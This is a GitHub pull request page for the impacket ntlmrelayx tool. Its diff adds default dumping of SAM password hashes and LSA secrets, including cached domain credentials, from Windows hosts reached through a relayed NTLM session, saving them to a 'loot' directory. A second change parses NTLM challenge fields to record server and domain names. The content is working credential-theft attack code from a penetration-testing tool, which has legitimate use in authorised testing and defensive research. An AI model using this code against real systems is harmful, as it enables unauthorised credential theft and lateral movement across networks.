Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

#1253 default SAM and LSA dump for ntlmrelayx #52

Open
wants to merge 4 commits into
base: main
Choose a base branch
from
Open

#1253 default SAM and LSA dump for ntlmrelayx #52

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
4 commits
Select commit Hold shift + click to select a range
7fc473c
Update smbattack.py
n00py Feb 8, 2022
41103be
Forgot one
n00py Feb 8, 2022
7412a74
Improved exporting and added Kerberos keys calculation
ShutdownRepo Feb 9, 2022
b098f81
Merge pull request #1 from ShutdownRepo/ntlmrelayx
n00py Feb 9, 2022
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
21 changes: 17 additions & 4 deletions impacket/examples/ntlmrelayx/attacks/smbattack.py
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,8 @@
# Alberto Solino (@agsolino)
# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
#
import os

from impacket import LOG
from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell
Expand Down Expand Up @@ -65,7 +67,7 @@ def run(self):
LOG.info("Service Installed.. CONNECT!")
self.installService.uninstall()
else:
from impacket.examples.secretsdump import RemoteOperations, SAMHashes
from impacket.examples.secretsdump import RemoteOperations, SAMHashes, LSASecrets
from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins
samHashes = None
try:
Expand Down Expand Up @@ -96,20 +98,31 @@ def run(self):
return

try:
remote_host = self.__SMBConnection.getRemoteHost()
if self.config.command is not None:
remoteOps._RemoteOperations__executeRemote(self.config.command)
LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
LOG.info("Executed specified command on host: %s", remote_host)
self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
print(self.__answerTMP.decode(self.config.encoding, 'replace'))
else:
if not os.path.exists(self.config.lootdir):
os.makedirs(self.config.lootdir)
outfile = os.path.join(self.config.lootdir, remote_host)
bootKey = remoteOps.getBootKey()
remoteOps._RemoteOperations__serviceDeleted = True
samFileName = remoteOps.saveSAM()
samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
samHashes.dump()
samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
samHashes.export(outfile)
LOG.info("Done dumping SAM hashes for host: %s", remote_host)
SECURITYFileName = remoteOps.saveSECURITY()
LSASecrets = LSASecrets(SECURITYFileName, bootKey, remoteOps=remoteOps, isRemote= True, history=False)
LSASecrets.dumpCachedHashes()
LSASecrets.exportCached(outfile)
LSASecrets.dumpSecrets()
LSASecrets.exportSecrets(outfile)
LOG.info("Done dumping LSA hashes for host: %s", remote_host)
except Exception as e:
LOG.error(str(e))
finally:
Expand Down
34 changes: 34 additions & 0 deletions impacket/examples/ntlmrelayx/clients/smbrelayclient.py
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -326,6 +326,40 @@ def sendNegotiate(self, negotiateMessage):
else:
challenge.fromString(self.sendNegotiatev2(negotiateMessage))

from impacket.ntlm import AV_PAIRS, NTLMSSP_AV_HOSTNAME, NTLMSSP_AV_DOMAINNAME, NTLMSSP_AV_DNS_DOMAINNAME, NTLMSSP_AV_DNS_HOSTNAME
if challenge['TargetInfoFields_len'] > 0:
av_pairs = AV_PAIRS(challenge['TargetInfoFields'][:challenge['TargetInfoFields_len']])
if av_pairs[NTLMSSP_AV_HOSTNAME] is not None:
try:
self.sessionData['ServerName'] = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
except:
# For some reason, we couldn't decode Unicode here.. silently discard the operation
pass
if av_pairs[NTLMSSP_AV_DOMAINNAME] is not None:
try:
if self.sessionData['ServerName'] != av_pairs[NTLMSSP_AV_DOMAINNAME][1].decode('utf-16le'):
self.sessionData['ServerDomain'] = av_pairs[NTLMSSP_AV_DOMAINNAME][1].decode('utf-16le')
except:
# For some reason, we couldn't decode Unicode here.. silently discard the operation
pass
if av_pairs[NTLMSSP_AV_DNS_DOMAINNAME] is not None:
try:
self.sessionData['ServerDNSDomainName'] = av_pairs[NTLMSSP_AV_DNS_DOMAINNAME][1].decode('utf-16le')
except:
# For some reason, we couldn't decode Unicode here.. silently discard the operation
pass

if av_pairs[NTLMSSP_AV_DNS_HOSTNAME] is not None:
try:
self.sessionData['ServerDNSHostName'] = av_pairs[NTLMSSP_AV_DNS_HOSTNAME][1].decode('utf-16le')
except:
# For some reason, we couldn't decode Unicode here.. silently discard the operation
pass

self.session._SMBConnection._SMB__server_name = self.sessionData['ServerName']
self.session._SMBConnection._SMB__server_dns_domain_name = self.sessionData['ServerDNSDomainName']
self.session._SMBConnection._SMB__server_domain = self.sessionData['ServerDomain']

self.negotiateMessage = negotiateMessage
self.challengeMessage = challenge.getData()

Expand Down